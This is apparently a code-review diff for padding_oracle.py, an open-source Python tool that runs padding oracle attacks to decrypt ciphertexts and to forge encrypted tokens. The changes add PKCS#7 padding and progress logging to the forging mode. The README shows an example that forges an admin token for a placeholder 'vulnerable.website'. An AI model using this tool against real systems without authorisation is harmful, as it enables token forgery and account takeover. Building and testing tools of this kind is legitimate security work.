Updated code

Fixed the printout to just update the user on progress (it does still print the final encrypted payload).
Added PKCS#7 padding by default to match the default decryption behaviour.
Changed mode to accept only a string.
I think I have fixed the various nit suggestions but may have missed some (or many tbh)
Actually remembered to push changes (wow incredible right)

Author: q3st1on

README.md

@@ -1,4 +1,3 @@
-
 # Padding Oracle Python Automation Script 
 
 ![python-package-badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
@@ -30,8 +29,10 @@ Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from ED
 | 16              | 1m 20s         |
 | 64              | 56s            |
 
-## How to Use 
+## How to Use
+
 ### Decryption
+
 To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
 
 ```python
@@ -64,8 +65,10 @@ plaintext = padding_oracle(
     num_threads = 16,
 )
 ```
+
 ### Encryption
-To illustrate the usage, consider an example of forging a token for`https://vulnerable.website/api/?token=<.....>`:
+
+To illustrate the usage, consider an example of forging a token for `https://vulnerable.website/api/?token=<.....>` :
 
 ```python
 from padding_oracle import padding_oracle, base64_encode, base64_decode
@@ -84,13 +87,7 @@ def oracle(ciphertext: bytes):
     else:
         raise RuntimeError('unexpected behavior')
 
-def pad(data: bytes, block_size=16):
-    pad_value = block_size - len(data) % block_size
-    return data + bytearray([pad_value for i in range(pad_value)])
-
 payload: bytes =b"{'username':'admin'}"
-payload = pad(payload)
-assert len(payload) % 16 == 0
 
 ciphertext = padding_oracle(
     payload,

src/padding_oracle/legacy.py

@@ -27,7 +27,7 @@
 from .encoding import to_bytes
 from .solve import (
     solve, Fail, OracleFunc, ResultType,
-    convert_to_bytes, remove_padding)
+    convert_to_bytes, remove_padding, add_padding)
 
 __all__ = [
     'padding_oracle',
@@ -41,6 +41,7 @@ def padding_oracle(payload: Union[bytes, str],
                    null_byte: bytes = b' ',
                    return_raw: bool = False,
                    mode: Union[bool, str] = 'decrypt',
+                   pad_payload: bool = True
                    ) -> Union[bytes, List[int]]:
     '''
     Run padding oracle attack to decrypt ciphertext given a function to check
@@ -58,7 +59,9 @@ def padding_oracle(payload: Union[bytes, str],
                                    set (default: None)
         return_raw     (bool)      do not convert plaintext into bytes and
                                    unpad (default: False)
-        mode           (bool|str)  encrypt the payload (defaut: False/'decrypt')
+        mode           (str)       encrypt the payload (defaut: 'decrypt')
+        pad_payload    (bool)      PKCS#7 pad the supplied payload before
+                                   encryption (default: True)
 
 
     Returns:
@@ -72,19 +75,18 @@ def padding_oracle(payload: Union[bytes, str],
         raise TypeError('payload should have type bytes')
     if not isinstance(block_size, int):
         raise TypeError('block_size should have type int')
-    if not len(payload) % block_size == 0:
-        raise ValueError('payload length should be multiple of block size')
     if not 1 <= num_threads <= 1000:
         raise ValueError('num_threads should be in [1, 1000]')
     if not isinstance(null_byte, (bytes, str)):
         raise TypeError('expect null with type bytes or str')
     if not len(null_byte) == 1:
         raise ValueError('null byte should have length of 1')
-    if not isinstance(mode, (bool, str)):
-        raise TypeError('expect mode with type bool or str')
+    if not isinstance(mode, str):
+        raise TypeError('expect mode with type str')
     if isinstance(mode, str) and mode not in ('encrypt', 'decrypt'):
         raise ValueError('mode must be either encrypt or decrypt')
-
+    if (mode == 'decrypt') and not (len(payload) % block_size == 0):
+        raise ValueError('for decryption payload length should be multiple of block size')
     logger = get_logger()
     logger.setLevel(log_level)
 
@@ -93,8 +95,8 @@ def padding_oracle(payload: Union[bytes, str],
 
 
     # Does the user want the encryption routine
-    if (mode == 'encrypt') or (mode == True):
-        return encrypt(payload, block_size, oracle, num_threads, null_byte, logger)
+    if (mode == 'encrypt'):
+        return encrypt(payload, block_size, oracle, num_threads, null_byte, pad_payload, logger)
 
     # If not continue with decryption as normal
     return decrypt(payload, block_size, oracle, num_threads, null_byte, return_raw, logger)
@@ -126,11 +128,11 @@ def plaintext_callback(plaintext: bytes):
     if not return_raw:
         plaintext = convert_to_bytes(plaintext, null_byte)
         plaintext = remove_padding(plaintext)
-    
+
     return plaintext
 
 
-def encrypt(payload, block_size, oracle, num_threads, null_byte, logger):
+def encrypt(payload, block_size, oracle, num_threads, null_byte, pad_payload, logger):
     # Wrapper to handle exceptions from the oracle function
     def wrapped_oracle(ciphertext: bytes):
         try:
@@ -148,24 +150,40 @@ def result_callback(result: ResultType):
                 logger.error(result.message)
 
     def plaintext_callback(plaintext: bytes):
-        plaintext = convert_to_bytes(plaintext, null_byte)
-        logger.info(f'plaintext: {plaintext}')
+        plaintext = convert_to_bytes(plaintext, null_byte).strip(null_byte)
+        bytes_done = str(len(plaintext)).rjust(len(str(block_size)), ' ')
+        blocks_done = solve_index.rjust(len(block_total), ' ')
+        printout = "{0}/{1} bytes encrypted in block {2}/{3}".format(bytes_done, block_size, blocks_done, block_total)
+        logger.info(printout)
 
     def blocks(data: bytes):
         return [data[index:(index+block_size)] for index in range(0, len(data), block_size)]
 
     def bytes_xor(byte_string_1: bytes, byte_string_2: bytes):
         return bytes([_a ^ _b for _a, _b in zip(byte_string_1, byte_string_2)])
 
+    if pad_payload:
+        payload = add_padding(payload, block_size)
+
+    if len(payload) % block_size != 0:
+        raise ValueError('''For encryption payload length must be a multiple of blocksize. Perhaps you meant to
+        pad the payload (inbuilt PKCS#7 padding can be enabled by setting pad_payload=True)''')
+
     plaintext_blocks = blocks(payload)
     ciphertext_blocks = [null_byte * block_size for _ in range(len(plaintext_blocks)+1)]
 
+    solve_index = '1'
+    block_total = str(len(plaintext_blocks))
+
     for index in range(len(plaintext_blocks)-1, -1, -1):
         plaintext = solve(b'\x00' * block_size + ciphertext_blocks[index+1], block_size, wrapped_oracle,
                             num_threads, result_callback, plaintext_callback)
         ciphertext_blocks[index] = bytes_xor(plaintext_blocks[index], plaintext)
+        solve_index = str(int(solve_index)+1)
 
     ciphertext = b''.join(ciphertext_blocks)
+    logger.info(f"forged ciphertext: {ciphertext}")
+
     return ciphertext
 
 def get_logger():

src/padding_oracle/solve.py

@@ -36,6 +36,7 @@
     'solve',
     'convert_to_bytes',
     'remove_padding',
+    'add_padding'
 ]
 
 class Pass(NamedTuple):
@@ -264,3 +265,11 @@ def remove_padding(data: Union[str, bytes, List[int]]) -> bytes:
     '''
     data = to_bytes(data)
     return data[:-data[-1]]
+
+def add_padding(data: Union[str, bytes, List[int]], block_size: int) -> bytes:
+    '''
+    Add PKCS#7 padding bytes.
+    '''
+    data = to_bytes(data)
+    pad_len = block_size - len(data) % block_size
+    return data + (bytes([pad_len]) * pad_len)

tests/test_padding_oracle.py

@@ -21,10 +21,7 @@ def test_padding_oracle_encryption():
     plaintext = b'the quick brown fox jumps over the lazy dog'
     ciphertext = cryptor.encrypt(plaintext)
 
-    padder = padding.PKCS7(128).padder()
-    payload = padder.update(plaintext) + padder.finalize()
-    
-    encrypted = padding_oracle(payload, cryptor.block_size,
+    encrypted = padding_oracle(plaintext, cryptor.block_size,
                                cryptor.oracle, 4, null_byte=b'?', mode='encrypt')
     decrypted = cryptor.decrypt(encrypted)